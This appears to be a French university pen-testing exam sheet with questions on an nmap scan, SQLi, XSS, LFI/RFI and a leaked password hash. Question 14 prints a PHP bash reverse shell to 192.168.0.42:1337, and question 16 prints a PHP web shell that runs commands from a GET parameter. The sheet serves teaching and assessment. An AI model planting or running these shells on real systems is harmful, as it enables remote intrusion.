+1/1/60+

TIW4-SSI SÉCURITÉ DES SYSTÈMES D'INFORMATIONS
Contrôle Continu – évaluation TP
Promotion 2019 – 2020

Les questions ouvertes ont un cadre où répondre, il **ne faut pas** noircir les cases de ces questions, juste répondre dans le cadre. Toutes les réponses attendues sont **précises et courtes**.
Ne pas noircir les cases situées tout en haut de la feuille, elles servent à repérer vos copies lors de la correction automatisée.
Répondez **uniquement** sur les feuilles de réponses à la fin de la copie.
Les documents sont interdits. Durée 30'.

---

1 Reconnaissance (1/3)

On considère l'extrait ci-dessous de scan `nmap` sur une des VM utilisées pendant le TP de *pen-test* :

```
sudo nmap -sV 192.168.76.219

Starting Nmap 7.60 ( https://nmap.org ) at 2020-02-11 16:18 CET
Nmap scan report for 192.168.76.219
Host is up (0.00039s latency).
Not shown: 993 ports
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   closed http
443/tcp  closed https
3306/tcp closed mysql
5432/tcp closed postgresql
8080/tcp open   http       Apache httpd 2.2.16 ((Debian))
8443/tcp closed https-alt
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.38 seconds
```

Question 1 (/4) Sur le scan `nmap`, quel(s) OS est(sont) utilisé(s) et pourquoi ? Justifier.

Question 2 (/2) Sur le scan `nmap`, dans quel état sont les autres ports de la machines ? Pourquoi ?

Question 3 (/2) Sur le scan `nmap`, pourquoi est-il difficile de considérer ce *scan* comme furtif ? Que faudrait-il faire pour le rendre plus discret ?

Question 4 (/2) Sur le scan `nmap`, la commande a été exécutée avec `sudo`. Qu'est ce que cela change sur les possibilités de *scan* si on utilise *pas* `sudo` ?

Question 5 (/2) En accédant à la page `http://192.168.76.219:8080/phpinfo` on constate que la version de PHP est la `5.3.3-7+squeeze19` et on remarque `PHP API : 20090626`. Que peut-on inférer ?

Question 6 (/4) On souhaite aller plus loin pour avoir un maximum d'information sur les outils (bibliothèques, *frameworks*) utilisés dans la conception du site. Qu'aller chercher et où ? Donner deux exemples précis.

Pour votre examen, imprimez de préférence les documents compilés à l'aide de auto-multiple-choice.

2 Exploitation (2/3)

Question 7 (/2) Quel est la différence entre une CVE et une CWE ?

Question 8 (/2) Les failles SQLi ont été détrônées en 2019 du classement *CWE Top 25 Most Dangerous Software Errors* où elles régnaient en 2011. Proposer quelques arguments expliquant ce déclassement.

Question 9 (/2) Donner des arguments en faveur de l'assertion suivante : « *si les failles SQLi sont moins visibles dans le classement, elles restent encore très présentes dans les applications développés à ce jour.* ».

Question 10 (/4) Que signifie l'acronyme XSS ? Expliquer en quoi consiste l'attaque. Donner des mesure pour s'en prémunir.

Question 11 (/4) Quel est la différence entre une faille *LFI* et une *RFI* ? Donnez, sur la base du TP, au moins trois exemples de fichiers intéressants à obtenir via une des *LFI*.

Question 12 (/4) Proposez trois mesures de protection contre les failles LFI de différents : niveau OS, des saisies utilisateurs et de la logique de traitement.

Question 13 (/4) Via une *LFI* vous avez obtenu une information intéressante dans un fichier de configuration : `admin:$apr1$NPiDXOoh$H9hRCiWDVKaikHYjO64pv0`. Qu'est-ce que c'est ? Qu'en faire et comment ?

Question 14 (/4) Comment appelle-t'on l'extrait de code suivant ? Expliquer précisément ce qu'il fait et avec quelle faille on peut l'utiliser.

```
<?php
  echo shell_exec("/bin/bash␣-c␣'/bin/bash␣-i␣>&/dev/tcp/192.168.0.42/1337␣0>&1␣2>&1'");
?>
```

Question 15 (/2) Suite à la question précédente, que faut-il faire sur la machine 192.168.0.42 ? Donner un exemple minimaliste pour le faire.

Question 16 (/4) Comment appelle-t'on l'extrait de code suivant ? Expliquer précisément ce qu'il fait et avec quelle faille on peut l'utiliser.

```
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
```

0 0 0 0 0 0 0 0
1 1 1 1 1 1 1 1
2 2 2 2 2 2 2 2
3 3 3 3 3 3 3 3
4 4 4 4 4 4 4 4
5 5 5 5 5 5 5 5
6 6 6 6 6 6 6 6
7 7 7 7 7 7 7 7
8 8 8 8 8 8 8 8
9 9 9 9 9 9 9 9

⟵ codez votre numéro d'étudiant commençant par "1" ci-contre, et écrivez votre nom et prénom ci-dessous.

Nom et prénom :

.....

Question 1 : F I PJ J

Question 2 : F J

Question 3 : F J

Question 4 : F J

Question 5 : F J

Pour votre examen, imprimez de préférence les documents compilés à l'aide de auto-multiple-choice.

Question 6 : F I PJ J

Question 7 : F J

Question 8 : F J

Question 9 : F J

Question 10 : F I PJ J

Question 11 : F I PJ J

Question 12 : F I PJ J

Question 13 : F I PJ J

Question 14 : F I PJ J

Question 15 : F J

Question 16 : F I PJ J